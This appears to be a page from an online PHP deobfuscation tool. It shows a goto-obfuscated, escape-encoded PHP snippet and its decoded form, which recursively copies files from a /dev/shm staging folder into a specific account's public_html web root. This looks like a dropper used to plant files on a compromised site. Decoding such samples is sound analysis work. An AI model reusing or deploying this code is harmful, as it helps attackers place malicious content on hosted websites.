Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto eclnw; eclnw: function copyDir($src, $dst) { $dir = opendir($src); if (!is_dir($dst)..

Decoded Output download

<?   goto eclnw; eclnw: function copyDir($src, $dst) { $dir = opendir($src); if (!is_dir($dst)) { mkdir($dst, 493, true); } while (false !== ($file = readdir($dir))) { if ($file != "." && $file != "..") { if (is_dir("{$src}/{$file}")) { copyDir("{$src}/{$file}", "{$dst}/{$file}"); } else { copy("{$src}/{$file}", "{$dst}/{$file}"); } } } closedir($dir); } goto bi0Fc; Mws10: echo "[]
"; goto WlU3K; W66yF: $destinationDir = "/home/febiiain/public_html/"; goto SM8SS; bi0Fc: $sourceDir = "/dev/shm/sama/"; goto W66yF; SM8SS: copyDir($sourceDir, $destinationDir); goto Mws10; WlU3K:  ?>

Did this file decode correctly?

Original Code

 goto eclnw; eclnw: function copyDir($src, $dst) { $dir = opendir($src); if (!is_dir($dst)) { mkdir($dst, 493, true); } while (false !== ($file = readdir($dir))) { if ($file != "\x2e" && $file != "\56\x2e") { if (is_dir("{$src}\57{$file}")) { copyDir("{$src}\x2f{$file}", "{$dst}\x2f{$file}"); } else { copy("{$src}\x2f{$file}", "{$dst}\x2f{$file}"); } } } closedir($dir); } goto bi0Fc; Mws10: echo "\x5b\135\12"; goto WlU3K; W66yF: $destinationDir = "\x2f\150\x6f\x6d\145\57\x66\x65\142\x69\151\141\x69\156\x2f\160\165\142\x6c\151\x63\x5f\x68\164\x6d\x6c\57"; goto SM8SS; bi0Fc: $sourceDir = "\57\144\x65\166\x2f\x73\x68\x6d\x2f\163\x61\155\x61\57"; goto W66yF; SM8SS: copyDir($sourceDir, $destinationDir); goto Mws10; WlU3K: 

Function Calls

None

Variables

None

Stats

MD5 6a11742ef949b344e08232f417f1a46b
Eval Count 0
Decode Time 38 ms